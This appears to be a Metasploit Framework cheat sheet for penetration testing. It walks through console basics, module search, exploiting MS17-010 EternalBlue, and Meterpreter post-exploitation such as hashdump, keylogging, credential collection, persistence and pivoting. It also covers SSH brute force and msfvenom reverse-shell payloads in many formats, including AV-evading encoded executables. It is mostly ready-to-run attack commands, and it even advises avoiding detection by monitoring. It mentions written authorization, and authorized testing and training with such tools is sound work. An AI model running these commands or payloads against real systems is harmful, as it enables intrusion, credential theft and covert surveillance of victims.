Metasploit Framework

Purpose

Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.

Prerequisites

Required Tools

# Metasploit comes pre-installed on Kali Linux
# For other systems:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

# Start PostgreSQL for database support
sudo systemctl start postgresql
sudo msfdb init

Required Knowledge

• Network and system fundamentals
• Understanding of vulnerabilities and exploits
• Basic programming concepts
• Target enumeration techniques

Required Access

• Written authorization for testing
• Network access to target systems
• Understanding of scope and rules of engagement

Outputs and Deliverables

1. Exploitation Evidence - Screenshots and logs of successful compromises
2. Session Logs - Command history and extracted data
3. Vulnerability Mapping - Exploited vulnerabilities with CVE references
4. Post-Exploitation Artifacts - Credentials, files, and system information

Core Workflow

Phase 1: MSFConsole Basics

Launch and navigate the Metasploit console:

# Start msfconsole
msfconsole

# Quiet mode (skip banner)
msfconsole -q

# Basic navigation commands
msf6 > help                    # Show all commands
msf6 > search [term]           # Search modules
msf6 > use [module]            # Select module
msf6 > info                    # Show module details
msf6 > show options            # Display required options
msf6 > set [OPTION] [value]    # Configure option
msf6 > run / exploit           # Execute module
msf6 > back                    # Return to main console
msf6 > exit                    # Exit msfconsole

Phase 2: Module Types

Understand the different module categories:

# 1. Exploit Modules - Target specific vulnerabilities
msf6 > show exploits
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# 2. Payload Modules - Code executed after exploitation
msf6 > show payloads
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# 3. Auxiliary Modules - Scanning, fuzzing, enumeration
msf6 > show auxiliary
msf6 > use auxiliary/scanner/smb/smb_version

# 4. Post-Exploitation Modules - Actions after compromise
msf6 > show post
msf6 > use post/windows/gather/hashdump

# 5. Encoders - Obfuscate payloads
msf6 > show encoders
msf6 > set ENCODER x86/shikata_ga_nai

# 6. Nops - No-operation padding for buffer overflows
msf6 > show nops

# 7. Evasion - Bypass security controls
msf6 > show evasion

Phase 3: Searching for Modules

Find appropriate modules for targets:

# Search by name
msf6 > search eternalblue

# Search by CVE
msf6 > search cve:2017-0144

# Search by platform
msf6 > search platform:windows type:exploit

# Search by type and keyword
msf6 > search type:auxiliary smb

# Filter by rank (excellent, great, good, normal, average, low, manual)
msf6 > search rank:excellent

# Combined search
msf6 > search type:exploit platform:linux apache

# View search results columns:
# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description

Phase 4: Configuring Exploits

Set up an exploit for execution:

# Select exploit module
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# View required options
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

# Set target host
msf6 exploit(...) > set RHOSTS 192.168.1.100

# Set target port (if different from default)
msf6 exploit(...) > set RPORT 445

# View compatible payloads
msf6 exploit(...) > show payloads

# Set payload
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# Set local host for reverse connection
msf6 exploit(...) > set LHOST 192.168.1.50
msf6 exploit(...) > set LPORT 4444

# View all options again to verify
msf6 exploit(...) > show options

# Check if target is vulnerable (if supported)
msf6 exploit(...) > check

# Execute exploit
msf6 exploit(...) > exploit
# or
msf6 exploit(...) > run

Phase 5: Payload Types

Select appropriate payload for the situation:

# Singles - Self-contained, no staging
windows/shell_reverse_tcp
linux/x86/shell_bind_tcp

# Stagers - Small payload that downloads larger stage
windows/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp

# Stages - Downloaded by stager, provides full functionality
# Meterpreter, VNC, shell

# Payload naming convention:
# [platform]/[architecture]/[payload_type]/[connection_type]
# Examples:
windows/x64/meterpreter/reverse_tcp
linux/x86/shell/bind_tcp
php/meterpreter/reverse_tcp
java/meterpreter/reverse_https
android/meterpreter/reverse_tcp

Phase 6: Meterpreter Session

Work with Meterpreter post-exploitation:

# After successful exploitation, you get Meterpreter prompt
meterpreter >

# System Information
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid

# File System Operations
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users
meterpreter > download file.txt /tmp/
meterpreter > upload /tmp/tool.exe C:\\

# Process Management
meterpreter > ps
meterpreter > migrate [PID]
meterpreter > kill [PID]

# Networking
meterpreter > ipconfig
meterpreter > netstat
meterpreter > route
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1

# Privilege Escalation
meterpreter > getsystem
meterpreter > getprivs

# Credential Harvesting
meterpreter > hashdump
meterpreter > run post/windows/gather/credentials/credential_collector

# Screenshots and Keylogging
meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

# Shell Access
meterpreter > shell
C:\Windows\system32> whoami
C:\Windows\system32> exit
meterpreter >

# Background Session
meterpreter > background
msf6 exploit(...) > sessions -l
msf6 exploit(...) > sessions -i 1

Phase 7: Auxiliary Modules

Use auxiliary modules for reconnaissance:

# SMB Version Scanner
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run

# Port Scanner
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set PORTS 1-1000
msf6 auxiliary(...) > run

# SSH Version Scanner
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run

# FTP Anonymous Login
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run

# HTTP Directory Scanner
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run

# Brute Force Modules
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > run

Phase 8: Post-Exploitation Modules

Run post modules on active sessions:

# List sessions
msf6 > sessions -l

# Run post module on specific session
msf6 > use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > set SESSION 1
msf6 post(...) > run

# Or run directly from Meterpreter
meterpreter > run post/windows/gather/hashdump

# Common Post Modules
# Credential Gathering
post/windows/gather/credentials/credential_collector
post/windows/gather/lsa_secrets
post/windows/gather/cachedump
post/multi/gather/ssh_creds

# System Enumeration
post/windows/gather/enum_applications
post/windows/gather/enum_logged_on_users
post/windows/gather/enum_shares
post/linux/gather/enum_configs

# Privilege Escalation
post/windows/escalate/getsystem
post/multi/recon/local_exploit_suggester

# Persistence
post/windows/manage/persistence_exe
post/linux/manage/sshkey_persistence

# Pivoting
post/multi/manage/autoroute

Phase 9: Payload Generation with msfvenom

Create standalone payloads:

# Basic Windows reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe

# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf

# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php

# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py

# PowerShell payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1

# ASP web shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp

# WAR file (Tomcat)
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war

# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk

# Encoded payload (evade AV)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe

# List available formats
msfvenom --list formats

# List available encoders
msfvenom --list encoders

Phase 10: Setting Up Handlers

Configure listener for incoming connections:

# Manual handler setup
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j

# The -j flag runs as background job
msf6 > jobs -l

# When payload executes on target, session opens
[*] Meterpreter session 1 opened

# Interact with session
msf6 > sessions -i 1

Quick Reference

Essential MSFConsole Commands

Meterpreter Essential Commands

Common Exploit Modules

# Windows
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms08_067_netapi
exploit/windows/http/iis_webdav_upload_asp
exploit/windows/local/bypassuac

# Linux
exploit/linux/ssh/sshexec
exploit/linux/local/overlayfs_priv_esc
exploit/multi/http/apache_mod_cgi_bash_env_exec

# Web Applications
exploit/multi/http/tomcat_mgr_upload
exploit/unix/webapp/wp_admin_shell_upload
exploit/multi/http/jenkins_script_console

Constraints and Limitations

Legal Requirements

• Only use on systems you own or have written authorization to test
• Document all testing activities
• Follow rules of engagement
• Report all findings to appropriate parties

Technical Limitations

• Modern AV/EDR may detect Metasploit payloads
• Some exploits require specific target configurations
• Firewall rules may block reverse connections
• Not all exploits work on all target versions

Operational Security

• Use encrypted channels (reverse_https) when possible
• Clean up artifacts after testing
• Avoid detection by monitoring systems
• Limit post-exploitation to agreed scope

Troubleshooting